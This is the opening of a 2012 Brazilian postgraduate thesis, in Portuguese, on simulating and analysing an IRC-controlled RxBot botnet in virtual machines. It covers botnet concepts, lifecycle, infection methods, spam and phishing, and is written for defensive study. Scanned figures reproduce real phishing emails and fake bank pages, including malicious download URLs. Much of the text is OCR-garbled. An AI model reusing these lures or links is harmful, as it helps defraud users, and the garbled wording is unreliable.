T %C-E:"B

Centro Universitario de Brasilia

Instituto CEUB de Pesquisa e Desenvolvimento - ICPD

José Ozete Cunha Filho

SIMULAGCAO E ANALISE DE BOTNET COM CONTROLADORES EM
SERVIDORES IRC: UMA IMPLEMENTACAO COM MAQUINAS VIRT  UAIS

BRASILIA
2012



José Ozete Cunha Filho

SIMULACAO E ANALISE DE BOTNET COM CONTROLADORES EM
SERVIDORES IRC: UMA IMPLEMENTACAO COM MAQUINAS VIRT  UAIS

Monografia apresentada ao Centro Universitario
de Brasilia (UniCEUB/ICPD) para obtencédo do
titulo de especialista em Redes de Computadores

com Enfase em Seguranca.

Orientador do Projeto: Marco Anténio de O.

Araujo, MSc.

BRASILIA
2012



Dedicatoéria

A minha esposa, Roberta, pela compreens&o, incemtamor incondicional.

A minha familia, sem a qual ndo estaria aqui, fredentivo e investimento na educacéo e

formacao do caréter.

A Deus, por todas as oportunidades da vida.



Agradecimentos

Agradeco primeiramente ao meu orientador, Prof. M&rco Antonio, que de imediato se

prontificou a acompanhar meu trabalho de pesquisa.

Aos demais professores do curso, que transmitiraworhecimento necessario para o

aperfeicoamento na vida profissional.

Ao pessoal da Secretaria da PAs-Uniceub.

Aos colegas de turma, em especial ao Bruno, LeaadRenan, pelo companheirismo e

dedicacdo aos trabalhos e provas durante o curso.

Ao colega de trabalho, Fava, pelo apoio no farttena cedido e pela grande experiéncia e

conhecimento.



A dificuldade induz ao desafio e a dedicagdo defomeaminho da vitéria(Autor
desconhecido)



RESUMO

Nos ultimos anos temos observado um aumento cdastrsignificativo no nimero de
computadores de uso domeéstico em todo mundo. Czawvda tecnologia da informacéo, a
internet e a inclusdo digital propiciaram o acem®splo a informacdo e a democratizagdo do
conhecimento. Porém essa ampla utilizacdo dosgesrprestados pelo uso dos computadores
também ocasionou diversos problemas, como a fiagdi da seguranca e privacidade das
informacdes. Inerente a isto, 0 anonimato permigida internet incentiva que pessoas mal
intencionadas desenvolvam diversas técnicas dsdova sistemas computacionais, podendo
gerar inumeros problemas. Uma dessas técnicdsothatou rede zumbiBotneté uma rede

de computadores em que cada maquina é contaminadadgigo malicioso, sendo controlada
por um agente externo,bmtherder As intencdes, de um modo geral, de uma rede zsawi

o ganho financeiro, envio dgam ataquesidos phishing hacktivismoe até terrorismo. Para
conseguir tais objetivos, d®therdervém desenvolvendo varios modelos de realizar ataqu
através dabotnets No presente estudo serd apresentada a RxBogtlmmntrolada por meio
de servidor Internet Relay Chat, sendo mostradadsuanica de criacdo, contaminagao e
propagacdo. Nesse contexto, foi criada uma platefade simulagdo através de maquinas
virtuais, provendo um servico de IRC em uma estdgaox, e demais estacbes com
Windows XP, simulando os nés vitimas.



ABSTRACT

In the recent years, a constant and significanmease in the number of household computers
worldwide has occurred. The advance of informattechnology, Internet and digital
inclusion led to a widespread access to informasind democratization of knowledge. But
the wide use of services provided by the use ofprders has also caused problems such as
the fragility of security and privacy of informatio Inherent in this, the anonymity the
“internet space” encourages people to develop warimalicious hacking techniques to
computer systems and can generate numerous prolilerasof these techniques is the botnet
or zombie network. Botnet is a network of computelgere each machine is infected by a
malicious code controlled by an external agent, ibtherder. The intent, in general, of a
botnet is financial gain, sending spam, ddos astagkishing, hacktivism and even terrorism.
To achieve these objectives, the botherder devdlgpeeral models to carry out attacks via
botnets. The present study will present the RxBotnet controlled through Internet Relay
Chat server, and displayed it’s dynamic creation, spread contamination. In this context,
we built a simulation platform using virtual mace# providing a IRC service in a Linux
station, and other stations with Windows XP, sirtintathe victims.
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1. INTRODUCAO

Botneté uma rede de computadores, onde cada estactx®@da por um cdédigo
malicioso, tornando-a controlada por um agentereateéambém conhecido pbotmasterou

botherder J& as estacfes contaminadas sdo conhecidasgiau‘“zumbi”, e nada mais sao
que computadores comuns de residéncias ou eswsit@d redor de todo o mundo

(MICROSOFT, 2011a).

Segundo o ultimo relatorio de ameacas da Symantexjmero de ataques de
malwarespela web alcancou 3,1 bilhdes, sendo detectadoa de 286 milhdes de variantes

destes softwares maliciosos (SYMANTEC, 2011a).

No mesmo estudo, o Brasil se mantém em primeirarlegtre os paises latino-
americanos, e em quinto lugar mundial, com maionend de computadores infectados por

botnet(SYMANTEC, 2011b).

Ja no Relatorio de inteligéncia de seguranca daadshdt, o Brasil € um dos
locais com as maiores taxas de infec¢do, chegamd®gundo lugar no ranking, perdendo
apenas para os Estados Unidos, e alcancando nigrciass milhdes a trés milhdes de relatos
de deteccdo dealwares por trimestre, nos ambiente Microsoft Windows QRIOSOFT,

2011b).

Para Strayer et al. (2010), botnet € a forma peiigosa de ataques em uma rede
de computadores porque o numero de hosts envolwidas vitimas — € muito grande e,

também, pelo fato de serem controlados a distancia.

Ainda, para os autores, a utilizacdo de serviddR€-Internet Relay Chaté a

forma mais comum de se obter um mecanismo de t¢enti®botnet isso devido a sua
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escalabilidade e manutencdo do anonimato. Nesswfde cadeia de controle, os atacantes
comandam os zumbis através dos servicos de chai gaervidor IRC disponibiliza, que por

sua vez, sao servidores, quase sempre, compromietido

Stinson e Mitchell (2010) explicam que cada pgrtiote da rede zumbi executa
independentemente um comando com alguns parametcebido do C&C (Comando e

Controle) dabotnet tudo de forma imperceptivel.

No estudo de Bambenek e Klus (2010) é apontadccaessteristicas desejaveis
de todabotnetpara obter o maximo de ganho financeiro ou o0 méadmimpacto no alvo, sao
elas: alta capacidade, baigwerhead respostas rapidas, flexibilidade, anonimato e agjge

eles chamam de “manter-se quieto”.

A alta capacidade consegue manter diversos hobte seu dominio e, nesse
aspecto, o protocolo IRC se sobressai por consggaeimilhares de maquinas se concentrem
em um mesmo canal e comandos simples sejam envipdms todas as estacdes

simultaneamente.

Ha que se destacar, segundo 0s autores, como er&tcas principais o
anonimato e a indetectabilidade de ubwnet & medida que o sucesso de propagacao

depende de qudo eficiente seja sua néo rastreatslid

Diante do que ja foi exposto, percebe-se que odtopaa utilizacdo déotneté
gigantesco. Fato este corroborado pela MicrosotCROSOFT, 2011c), que considera a
proliferacdo dabotnetsalgo muito preocupante e tem levado, incrivelmesitpimas pessoas
a acreditar que é um problema sem solucdo. De @amoh seus dados, estima-se que 0s
controladores déotnet produzam um rombo de aproximadamente 780 milh@éeddthres

somente com o envio g@amem todo mundo.



18

No Brasil, Howard (2009) discorre um capitulo indesobre o cenario das
ameacas cibernéticas em nosso Pais, o qual éicpadiftomo altamente especializatiem
relacdo as atividades fraudulentas, sobretudtrajans bancéarios disseminados através de

“sofisticados ataquésle phishing

No que tange o modelo escalar pretendido parazaeali simulacdo de um
ambiente virtual semelhante a internet, Muzzi (32qdr@pds, em sua tese de doutorado, uma
plataforma escalar para analisar a propagacdo eircoagdao debotnets Para tanto, foi
utilizado a técnica de virtualizagdo, onde foi pesisconstruir uma plataforma batizada de
XnetSim, a qual o autor realizou um série de estuigi@nto a propagacdo e contencdo das

botnets

1.1 Motivagéo e Justificativa

Em todos os casos, o objetivo perquirido pelosrotatdores ddotneté para fins
ilicitos, tais como envio dgpam ataques de negacao de servico, coletas de amtsnails
de terceiros, roubo de identidade e, de uma formag ravancada, realizar computagéo

distribuida (MUZZI, 2010).

Deste modo, considerando os mais recentes ReltdeicAmeacas a Internet de
grandes empresas, como Microsoft, Symantec, Trbfatfee, fica evidente a crescente
preocupacdo com o numero de computadores infectaolosddigos maliciosos, 0s quais

fazem parte dessa grande teia de computadores.

Em outro contexto, podem ser verificadas tambépoasequéncias devastadoras
gue umabotnetpode causar em casos de ciberataques ou cibeagugistas extrapolam o

campo técnico-cientifico, pois sao, ordinariamenb@aseadas em questbes politicas,
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econdmicas e no fundamentalismo religioso, cologaTd risco a integridade e a soberania

de um Estado.

Para Andress e Winterfeld (2011), a definicdo deergjuerra ndo é nada facil.
Para tanto, eles discorrem apartadamente sobrnositos de ciberespaco e de guerra, e, por
fim, faz um questionamento de tais enfoques conue agontece no mundo virtual atual.
Entdo, conclui-se, sucintamente, que ciberguemimé& modalidade de guerra realizada no

campo virtual.

Ja no estudo de Sampaio (2011), a definicdo derguibera é clarificada e
estendida além dos termos de guerra eletrénicangéndo também as operacdes de guerra
psicoldgica, a teoria da mentira, o terrorismotsales até a manipulacéo do sistema nervoso
humano, visando o dominio, controle e a conseqimaraisacdo de um adversario, no caso,

um pais, um bloco econémico ou militar.

Uma modalidade de ciberguerra, o ciberterrorismoa éconvergéncia do
terrorismo para o ciberespaco. S&o ataques ilegatsa computadores, redes ou informagdes
neles armazenadas, quando é feito com pretensétrdielacdo ou coacdo de um governo ou
povo, com objetivos politicos, religiosos ou sagi@iom violéncia contra pessoas ou bens ou

com danos que, de alguma forma, gerem medo (DENNIOIG).

Nesta proposicédo de ciberguerra, os militares tore@ civis, as armas sao
computadores e o campo de guerra € a propria @ifgporém, valendo-se de um grande

aliado, o anonimato que o ambiente virtual promorai
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1.2 Objetivos

1.2.1.0bjetivos Gerais

Andlise do comportamento de urnatnetoperada por um servidor IRC em uma
plataforma de simulagdo, mostrando seu funcionamenprovendo dados que visem seu

estudo.

1.2.2 Objetivos Especificos

* Fornecer um ambiente que simule uma rede de conget e, através deste,

analisar o comportamento de uBatnet

* Analisar as formas de contaminacao de um zumbwvelasrabilidades presentes.

e Deixar criado um ambiente de treinamento onde psssanostrado o ciclo de

vida de umdotnet

Entdo, baseado na estratégia de conhecer para, &geaa intensificar os estudos
sobre a prevencao e defesa de infeccOes de corpegagin redes zumbis, deve-se, antes de
tudo, conhecer o funcionamento de umeénet analisando-se, primeiramente, as formas que
um alvo é infectado por um cédigo malicioso, idecdgndo as vulnerabilidades dos sistemas
operacionais e programas antivirus, bem como agudwas do proprio usuario e,
posteriormente, verificar o comportamento lblainet desde a propagacdo e respectiva

contencgao.
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1.3 ORGANIZACAO DO TRABALHO

O presente estudo pretende mostrar, inclusive dmafgratica e através da
utilizacdo de maquinas virtuais, o funcionamentoig@botnet Para conseguir tais objetivos,

pretende-se percorrer as seguintes etapas seduoesTaiex

A partir do capitulo 2, tem-se o estudo e comp@rdos principais topicos
relacionados ao tema d@tnet.A primeira contextualizacdo sobre o tema foi abdadam
conceitos e historico. Em seguida, é apresentaglstratura geral de umaot, como suas
entidades, ciclo de vida, as finalidades e as i@ estratégias para controle de uma rede

zumbi.

Ainda no capitulo 2, é detalhada a estratégia deale a partir do protocolo IRC,
sendo apresentada a tecnologia desde os primdré@éisos do IRC até sua descaracterizacao

para o cometimento de fraudes com IB&nets

O capitulo 3 trata daotnetque foi utilizada no presente trabalho, a RxBend®
apresentado suas caracteristicas principais, g8a de vida, os sinais de que a maquina esta

comprometida, bem como a anélise do seu codige.font

Por fim, no capitulo 4 é criada a plataforma de alestracdo que permite a
visualizacdo todos os passos, de forma educatbseda contaminacdo até sua propagacao.
Também s&o apresentados 0s conceitos relacionadog@uinas virtuais, suas vantagens,

propriedades, utilizacdo e os principais aplicativblizados atualmente.
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2. AS BOTNETS

2.1 Conceitos

De inicio, com o advento da internet, a paldwotfazia alusao a robd, referindo-
se a programas de softwares automatizados quetaretarefas em uma rede com certo grau
de autonomia. Porém, para a Microsoft (2011a),tais passaram a ser desenvolvidos para
fins maliciosos, como montagem de uma rede de ctadpres comprometidos, astnets

que sao controladas remotamente potbatherder

Botneté um verdadeiro exército de computadores compridasea servico de um
controlador, obotherder com o intuito de ganhos financeiros, cometimedgocrimes ou

alguma forma de atividade maliciosa (SCHILLER,2007)

A CISCO também compara umhbhotnet com um exeército de estacoes
contaminadas, denominadaszienbiessob o comando e controle de bootmastere que o
poder de umabotnet foi favorecido pelo aumento da banda larga, bemoc@ proprio
desenvolvimento tecnoldgico, ocasionando um crestionde ataques de negacgéo de servigo,
infecgBes de milhdes de computadores spgwareou quaisquer outros codigos maliciosos,

tudo isso visando, via de regra, o cometimentaigelades fraudulentas (CISCO,2011).

Geralmente, os computadores tornam-se nds debotatquando os atacantes,
de forma ilicita, instalam umalware secretamente que os fazem conecthotaet Essa
forma de ataque explora vulnerabilidades de soétsyato sistema operacional ou técnicas de

engenharia social para induzir que os usuarioalemstomalware
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Muzzi (2011) explica quéotneté uma forma moderna de ameaca a seguranca
dos sistemas computacionais, sendo uma rede forpaddots ou robés que tornam o
computador da vitima infectado e monitorado por agente externo. Esse computador
vitimado respondera aos comandos enviados pelardage, assim, sera controlado para fins
ilicitos como ataques distribuidos de negacédo décse roubo de senha, envio dpam

roubo de identidadephishinge outros.

Na Figura 2.1 podemos ver um grupo de computadmediessdo controlados
remotamente pelbotmaster Aqueles foram, de alguma maneira, contaminados/ipos e
estdo em estado de hibernacao esperando que quemntoda forneca algum comando. As

acOes tipicas de uma rede zumbi saosgarnmet, “ phishef ou “attacketr.

Bot-herder Owner and Operator

Online Black Market

Click fraud
L' "~ I | e Identity theft
gy i F ﬁ:,
g 5 J o
i Spamme r ~ -.---"-::PI *:
Spam runs
_ e
i g° @*
I 1 Phisher
I\ BOTNET Phishing attacks
|'_ "-_. e
| N\ Thousands of e
| compromised " r
| computers e
|
I":f: Attacker

Spam and host Mabware to lure more nodes

Figura 2.1 — Exemplo tipico de uma botnet em a¢gadbonte: MICROSOFT,
2011a
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2.2 Historico

Para a Microsoft (2011a) a origem dednetsesta relacionada com utilitarios que
foram desenvolvidos para gerenciamento em redéntdgnet Relay ChatEssa rede é
composta por um certo nimero de servidores, e, ggiesua vez, possuem canais, nos quais

usuarios podem conversar. Ja os canais sdo adadastpor operadores de canal.

Visando estender funcionalidades do IRC, operaddeesanais desenvolveram
scripts automatizados —IBC Bot— que passou a executar algumas tarefas pré-dieseias

como registros de estatisticas, execuc¢éo de jtgosferéncia e coordenacdo de arquivos.

Com a popularidade e desenvolvimento dos chatsioaco conflito entre os
operadores pelo controle dos canais mais populeese esfor¢co para ganhar o comando de
canais fez com que operadores mal intencionadodiaa®®m 0sIRC bots para realizar
atagues e obter o controle do canal. Era, entgmjneeiro passo dado para a criacdo das

botnetsconhecidas atualmente.

Seguindo a mesma linha, Dunham e Melnick (2009)s apistinguir o que eles
chamam debots “ruins” e bots “mas”, expdem e fazem um comparativo da origem das
botnets com o avanco d&wjans ou “cavalo de tréia”. Assim, as antigas e simpless
“més” juntamente com asojans foram aperfeicoados até chegar a definicdo ammlredes

zumbis.
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2.3 Entidades de uma Botnet

Para continuar na compreensado do funcionamento nike hotnef Amoroso

(2011) discorreu sobre os participantes que compgerataque dbotnet

Operador: pode ser representado por um unico individuogrupo ou até um
pais, de acordo com as finalidades que se prop@¢nat E responséavel pela
criacao, inclusive sua instalagéo e operacionadizallo caso dbotsque tem
o designio deliberado de auferir lucros financeimeperador sera o principal

beneficente.

Controlador: € um servidor ou conjunto de servidores que cala@n e
controlam as operagdes d®tnets Geralmente, sdo servidores que foram
comprometidos unicamente com essa finalidade, thiverom que, muitas
vezes, 0 proprietario do servidor ndo perceba o tgunba acontecido. O
comando e controle tém como fun¢des o recrutantentws, as configuracées
dos servidores, a forma de comunicacao e as aliegdde ataques. As botnets
mais avancadas contam com varios controladoreshesiogs ao redor do

mundo.

Colecéo de batsdo os nos, os zumbis, ou seja, 0s usuarios figae por sua
vez, quase sempre, estdo conectados em banda lemgan infectados por um
malware. Como os administradores de servidores kmmgiidos, esses
usuarios, geralmente, também desconhecem o fatstdeem contaminados e

gue estao participando de ataques.
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» Software Drop: € o arsenal que uma botnet utilizara durantecsso de vida.
Para manutencdo do anonimato, tais softwares tamg@#mmantidos em

servidores comprometidos.

* Alvo: como o préprio nome indica, € o local de atauele ser pessoas, sites,
sistemas, redes, religibes, paises ou até corgme@bmo podemos observar,

ninguém esta imune, pois o proposito do ataqueségfinira o tipo de alvo.

2.4 Ciclo de vida de uma Botnet

Durante toda a sua existéncia,bagnetssempre seguem um conjunto de passos
semelhantes, comumente chamados de ciclo de \agda.eiAtendimento do funcionamento de

uma botnet também se faz necessario compreendsital

Segundo Zhu, citado por Muzzi (2010), o invasorciaisuas atividades

explorando as vulnerabilidades do sistema alva;uiggedo o software malicioso do bot.

Schiller (2007) compartilha do mesmo ensinamentormmando que o ciclo de
vida de um zumbi — obotclient— inicia quando ele sofre algum tipo de explora¢zssa
exploracdo consiste basicamente em umas das formmasisuario, inocentemente, executa
um codigo malicioso; ataques contra vulnerabilidadeio corrigidas;backdoors *;

adivinhacao de senhas e tentativas de acesso coanbimta.

1 , . . . . . . . ~
Backdoor é uma falha de seguranca presente em sistemas operacionais ou aplicativos que permite a invasao
do sistema, deixando a estagdo comprometida e vulnerdveis a ataques de hackers.
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2.4.1 Exploragao e contaminacgao

Schiller (2007) continua explicitando cada casadaiehado as principais formas

de exploragdo e contaminagao:

2.4.1.1 Contaminacdo por um cédigo malicioso

Existem diversas formas de uma maquina vitima setaminada por um cédigo
malicioso, e, a partir dai, torna-se mais um nduema rede zumbi. Tais formas evoluem e se

adaptam, de acordo com a criatividade dos frauéadaisando sempre iludir os usuarios.

Para conseguir seus objetivos, os criminosos wrtieatam ludibriar de qualquer
forma suas vitimas, apelando para todo tipo dedalgem, desde simples mensagens até

pressdes psicolégicas ou ameacas mais contundentes.

Assim, eles aproveitam da inocéncia das pessodlsenexfatos incriveis ou
estranhos que excitem a curiosidade, recorrem @0 Ilsocial e religioso, exibem
personalidades conhecidas da midia e tentam passhbilidade para a vitima, fornecendo

até dados de contato verdadeiros, tudo para cdaguoisclique” da vitima.

« Sites aliciadores comnojan code
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Sregtys

DO SEU Ol PARA A WEB

& Oi Fotas
& MMS - Arguives > JFEG »Album ce Fotox

Woceé recebeu um album do numeros (©°) 2555
Clique na imagem abaixo para baixar as fotos recebidas.

" Este album ficara disponivel durarte 7 dias.

(B0 cnli=Ea @ @ GHREs8 veja os 6 motivas para vocé fater seu cadastio agoral

hitp:ifseguro.fototorpedos.cam/

Figura 2.2 — Site com codigo malicioso

E-mailscom anexosgjue quando abertos executam codigos malici

Bradesco

Caro cliente,

Infarmamos que desde 14/06/2007, o uso da Chave de Seguranca Bradesco Eletrénica para
acesso ao Bradesco Net Empresa passou a ser obrigatdrio.

Desde a data 25/02/2008 o sistema de identificagio do Bradesco Net Empresa foi atualizado
para a versdo 3.3.15 para melhor interagir com o sistema de seguranga atual.

Infarmamos que para continuar acessando norma mente o Bradesco Net Empresa sera
necessano efetuar a atualizagdo deste componente.

Para realizar a atualizagdo basta clicar em uma das opgdes abaico e em seguida clicar em
salvar e logo apds em executar , feito isso aguarde alguns segundos e siga as instrugdes de
instalagdo.

httpjjwww.bradescoseguranca.com.bricertificado-3.15.exe

Em caso de divida, contatar a Central de Apoio @ Empresa, pelo e-mail
apoioaempresa@bradesco.com.br, de segunda a sexta-feira das 07h00 as 20h00

Agradecemos a cooperago.

@ 2008 Banco Bradesco S.A Todos os direitos reservados.

http://mwww.moe.go.th/check/media/bradescopessoajuridica/certificado-3.15.exe

Figura 2.3 — E-mail com cédigo malicioso



Deleyacia de Policia Federal
Departamento de Investivacdo a Crimes de Informatica.

Frezado {a) Senhor (a).
Alravés do novo sistema de investigagdc e monitoramentc virtual, verificamos gquz, o
endereco do |F, utilizado por sua maguina, acessou um site de conteddo ilegal, segunda
& nossa Constituigdo Faderal, alravés do nosso Codigo Ciml,

Pracizamas fque o fato venhs a ser azelarecido o mais rapidn passivel, caso ndo seja
esclarecido em até 46 haras, serd aberto um inqueérito judicial.

Veja o relatério completo da investigagis, @ enfre em contato o mais répido possivel,

para o devico esclarecimenio do fato.

RELATORIO-1003764-2008.710

Obe: Maiores detalbessio ansontrados ne formul dnio.

@ Copyright Departamento de Palicia Federal - DPF, Coordenagdo de Tecnalogia da Infosmagde - CTI,

Erasilian:

Figura 2.4 — E-mail com cédiganaliciosc

Spams enviados por pessoas conhecidas que

erroneamente reditar se tratar de algo sério.

19/03/2008 10:2C AST
Assunto:Ajudem a encontrar nossa filhinha desaparecida

Pelo Amor de DEUS, DIVULGUE essa Foto! !l

Pelo Amor de DEUS, ajude a passar essa foto,

para o maior nimero de pessoas possivel ||

Esta garotinha foi seqliestrada na Praia do Engenho,
litoral norte de SP, ao lado de Barra do Una.

fazemsuaria

Passe a foto adiante, o custo & zero e pode ajudar muizo.

Deus com certeza ha de recompensar- te por issa.

Hoje estas ajudando alguém... Amanhi tu poderas ser c ajudado.

Pense nisso! Nao fiques indiferentel...
Que DEUS abencoe a todos quantos ajudarem!

Informag¢oes:

Disque Denuncia > 0800 15 63 15 ou
DEIC / DIVISAC ANTI - SEQUESTRO

> (11)3823-5867 ou 3823-5868 <

http:/f66.14.11 4,.50/images

Figura 2.5 — E-mail enviado en spam com cédigo malicios
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E-mails dephishingque atraem ou incitam o usuario a acessar un
falso para que seus dados sejam captu, como exemplo uma copia

site de internet banking, onde o usuario fornesets dados bancaric

inclusive sua sent

File Edt View History Eookmarks Tools Help
- - = 2% [0 bt:psirastyie comNfeR321d01 328485771 3c3d9a72030c Avww.beb. gav.br/
f

EBR Miistéric da Fazersle

(£ & sanco cenaaL 0o sRASIL

4 L BANCO CENTRAL

Y & DO BRASIL

Cadastramento
O Banca Central em parceria com os principais bancos publicos e privados do Brasil, estd cadastrando usuarios de Interret Bnaling @ Fone Banling para
autorizagio de acesso por maio desses canas de atandimanto. Essa medida tem como ohjetive o aumento de saguranza nas transagdes reslizadas

Para inicior o cadastro clique no icone que representa scu banco

[RBradesco ®umeanco  HSBC «X»

carxallos..... I
»

Ajuda | Pol

ada | Palutic

l http:/irastyle.com/1fe8321 d0L 3a84E57¢71 3c3dSe78038c/ www.beb. gov.br/bancobrasilcad_bb.html

Figura 2.6 —Modelo de phishing scan

Fie Edit View Hstory Booemarks Tools Help

@- - @ {2F L hitpsirastye com/lfeg321 01 3a82857¢71 23682780 38e/mmw.beb. gov.bribarce | «| B [[C]- &)
E&N Ministério da Fazenda i
Sisbacen | [ERglish

Para realizar o cadastramento de sua conta junto ac Banco Central, basta realizar o preenchimente do formulario
abaixo,

e
Nahuralidade: |— we:[ (Local de nascimenta)
I [ o[ [
senbadaContas|
Semhamntemets|  SeabaCentral de Atmndmento: | (Ulilizada para acesso por Lelfure)
validades [ /[ (w/anan)

Codigs de Seguranga: (2 ultimos ndmeros ro verss de cartdo)

Limpar Ernviar

Agé

Hamer de ca

I

Dene

Figura 2.7 — Modelo de phishing scam
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2.4.1.2 Ataques contra vulnerabilidades nao corriglias

Como forma de difusdo de ataques contra sistemasa@pnais ou aplicativos
que apresentam vulnerabilidades sem correcéo, readar zumbi pode ter a capacidade de

realizar um escaneamento, fazendo com que a Is#re{panda cada vez mais.

Essa capacidade consiste em fazer uma varreduisisteana para identificar
portas abertas. Em seguida, com a lista de sisteamortas abertas e usando ferramentas
de varredura de vulnerabilidades especificas, t®mtalentificar a atualizagdo ou nao do

sistema.

Deste modo, a botnet varrera diretamentdasdsque apresentam uma ou mais
dessas vulnerabilidades, e, uma vez comprometamifira o controle remoto das estacdes

vulneraveis.

7

A lista das principais vulnerabilidades presentésalmente € algo muito
dindmico, ampliada e atualizada a cada dia, ndenclbser destacada no presente trabalho.
Para tanto, um rol exaustivo pode ser encontradsiteoda NVD — National Vulnerability

Database (2011).

2.4.1.3 Backdoor

Algumas botnets tém a capacidade de buscar hosts que ja tenham sid

contaminados por algutmackdoor como os da familisemote access trojarpermitindo o
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controle remoto por outro computador sem a anué&igsponsavel. Nesse caso, o trabalho

dabotneté otimizado, j& que esta recruta estacfes poteraite fragilizadas.

2.4.1.4 Adivinhacéo de senhas e ataque de forca bau

Existem familias debotnet que possuem a habilidade de buscar e adivinhar
usuarios e senhas de um sistema operacional viBnmaeiramente, ela tenta obter acesso
com a conta de usuario que esta sendo atacadépsmnseguir enumera uma lista de todos
0s usuarios do computador. Uma vez, ainda sem sycek entdo utilizard uma lista com

diversos usuarios default para conseguir obtersac@s sistema.

2.4.2 Reuniao e manutencao

Em seguida, ap0s ter conseguido seu primeiro gbjetd contaminacéo do alvo -
Schiller (2007) explicita que 0s novos clientes hisxtomecam a se reunir e formar a grande
teia em torno do servidor de Comando e Controle,&jo responsavel pelo gerenciamento e

atribuicao de tarefas.

Conectado com o C&C, os zumbis podem requereriztigées, comaipdatede
exploits listas de IPs, listas de canais ou até mesmoodesnservidores de comando e
controle. Essa atualizacdo de servidores de C&€E éxtrema importancia, pois, no caso de
falhas, indisponibilidades ou qualquer outra integdo no comando, o nd ndo sera perdido e

automaticamente ficard sob dominio de outro servido
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Logo em seguida, o arquivo infectado do clienteegs manter invisivel e, para
tanto, a bot solicita localizacdo da ferramenta anti-antivirngis atualizada para o
controlador. Esse anti-A/V sera capaz de removantivirus da estacdo ou, ainda melhor,
torna-lo ineficaz a ponto de néo identificar agidéides maliciosas nem conseguir obter suas

atualizacoes.

Com as atividades ocultadashatherdertenta vasculhar na maquina vitima o que
lhe pode ser util, e, usando arquivos em lote damga série de utilitarios capazes de varrer e
gravar informagBes dos usuarios, bem como categoez agrupa-lo de acordo com a

velocidade da rede, espac¢o no disco rigido ou MiEde do processador.

Uma vez garantido o cliente bot, cabe agora a&statima ficar em modlisten,

ou seja, aguardando e ouvindo os comandos do Gracentral.

2.5 Finalidades de umdotnet

Configurar, deixar os servi¢cos rodando e contantoarutras estacdes € somente
um primeiro passo, pois dwtnetspodem ser usadas como plataformas para uma grande
variedade de atividades criminosas, dependendo afeo co botherder escolheu a

configuracdo para cada n6. Assim temos como fiadéd de umbotnet
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2.5.1Spamming

De um modo geragpamé qualquer mensagem eletronica que foi recebitacse

consentimento do destinatario.

Desde os primordios da midia, a publicidade é &gdatetamente aos fatores
econdmicos, as vendas, a conscientizacado das pessaguaisquer outras influéncias sobre
produtos ou servigcos (POSLUNS; SJIOWERMAN, 2004jnt&rnet evolui para revolucionar
a maneira de fazer negocios, tornando-se um veg®ilcomunicacdo muito importante que
viabilizou a globalizacdo (ANTISPAM.BR, 2011). Hauentdo uma migracdo rapida e
progressiva do marketing feito em radio, jornalewisdo ou qualquer outro meio de
comunicacao para a internet. Foi nesse ponto queled mal intencionadas comecaram a
nascer com a utilizacdo dpams Sendo a maneira perfeita de atingir milhareslidates em
potencial, de forma instantanea, sem limites gdiogsaou de tempo, sem concorrentes e

com um custo infinitamente menor.

Spam é um problema crescente enfrentado por todogsoarios de correio
eletrbnico em todo mundo e, atualmente, a maioahngentado através do uso dastnets
gue permitem que os atacantes utilizem cada zuminocmotor despam em massa

(DUNHAM; MELNICK, 2009).

Assim, conforme preceituado (SCHILLER, 2007), tégd seja identificado um
spam de nada adiantara coloca-lobhacklist ou entrar em contato com o ISRtérnet
Service Provider justamente pelo fato de que sggmmmersalugam ou compram botnet com
o intuito de enviar as mensagens para multiplosbiziniogo, perder um Unico né nao

ocasionara prejuizo no fluxo de mensagens enviadas.
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No primeiro relatorio de ameacas da McAfee (20Idiajeportado que o nimero
de spamsatingiu picos de cinco trilhbes de mensagens aliarporém esse numero foi
diminuindo aos poucos, até alcancar a média deilln@d e meio. Essa reducéao significativa

deveu-se principalmente & decapitacéo da botneo&ds

De fato, ja no relatério seguinte (MCAFEE,2011by dados estatisticos
continuaram em discreto declinio. Para a emprgmsaa da queda ndo ser significativa, tal
reducao foi favorecida pelo esforgo conjunto dapresas de seguranca, dos provedores e
dos centros de estudos, tratamento e respostasciierites, bem como a aplicagao mais

vigorosa das leis.

Apesar dos numeros decrescentes, a McAfee relataoqdesenvolvimento de
spamsvem evoluindo, tornando-os mais sofisticados, autamelo sua capacidade de ludibriar

e invadir caixas de mensagens, como é o casspgwsgirecionados ospearphishing.

O quantitativo enorme depams que circulam na grande rede também é
demonstrado pela Microsoft que, como proprietana distemas operacionais da familia
Windows, conta com uma ferramenta de deteccaoquéio despamsem seus sistemas, 0
FOPE - Microsoft Forefront Online Protection fordBange — o qual foi possivel observar
uma diminuicdo de mensagens indesejaveis do a1 para 2011, tendo a média de 90

milhdes despamsdecrescida para 25 milhées por més (MCAFEE, 2011a)

Assim como toda atividade criminosa, Posluns e &oman (2004) fazem um

comparativo do mundo virtual com o real, mostragge as tarefas envolvidas com os

? Rustock foi considerado a maior botnet de spam de todos os tempos, comecou a operar em 2006 e teve seu
declinio em 2011 a partir da ofensiva da Microsoft Digital Crimes Unit com a cooperacdo de especialistas das
areas industriais e académicas.

*No phishing comum, e-mails sdo enviados para tentar “pescar” senhas e outros dados bancarios de vitimas, ja
no spear phishing (“pescaria com arpao”), sdo enviados e-mails direcionados a alvos especificos, a mensagem é
cuidadosamente montada para que se passe por verdadeira dentro de uma empresa ou érgao.
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spammers sdo bem compartimentadas, onde cada integrante uera funcdo ou

responsabilidade especifica.

Além do papel principal depamar existem os hackers que possuem a tarefa
exclusiva de invadir sites para adquirir novasfisie contatos. Tais listas serdo a moeda de

troca entre eles, que podera ser trocada ou vendida

Ainda no comparativo, existe a figura do responspe&& propaganda, que é a
pessoa que deseja que seu produto ou site sejeoyidmme para isso apela para tais

atividades espurias.

Esses spams cujo conteudo € exclusivamente coinsémaconhecidos como
UCE —Unsolicited Commercial E-ma# porém, com o passar do tempo, eles deixaramrde t
funcdo de apenas propaganda e marketing e adquinmavas funcionalidades como

(ANTISPAM.BR,2011):

e Spam Zombies sdo computadores de usuéarios finais que foram
comprometidos por codigos maliciosos, tornando@vsidores de e-mails

para o envio de spam;

e Chain lettersou correntes é quando a mesma mensagem é enviada para
varias pessoas e ha um apelo para que cada usepasse para 0 maior
namero possivel de outros usuarios. A intencasasesasos, € obter o maior

namero de enderecos eletrdnicos validos, favorecasdtividades delitivas.

* Brincadeiras, ameacas e difamacéo;

» Pornografia, inclusive infantil;

» Boatos ou hoax, difamatorios ou de filantropia;



37

* Spamsm redes de relacionamento.

2.5.2Phishing

Enganar outras pessoas a fornecer suas senhasisguepn outras informagdes
confidenciais tem uma longa tradicdo nas comunilddekers. De inicio, a atividade era
realizada através de engenharia social, mas compalgrsidade da internet, os atacantes
automatizaram 0 processo e passaram a realizanestars grandes massas consumidoras

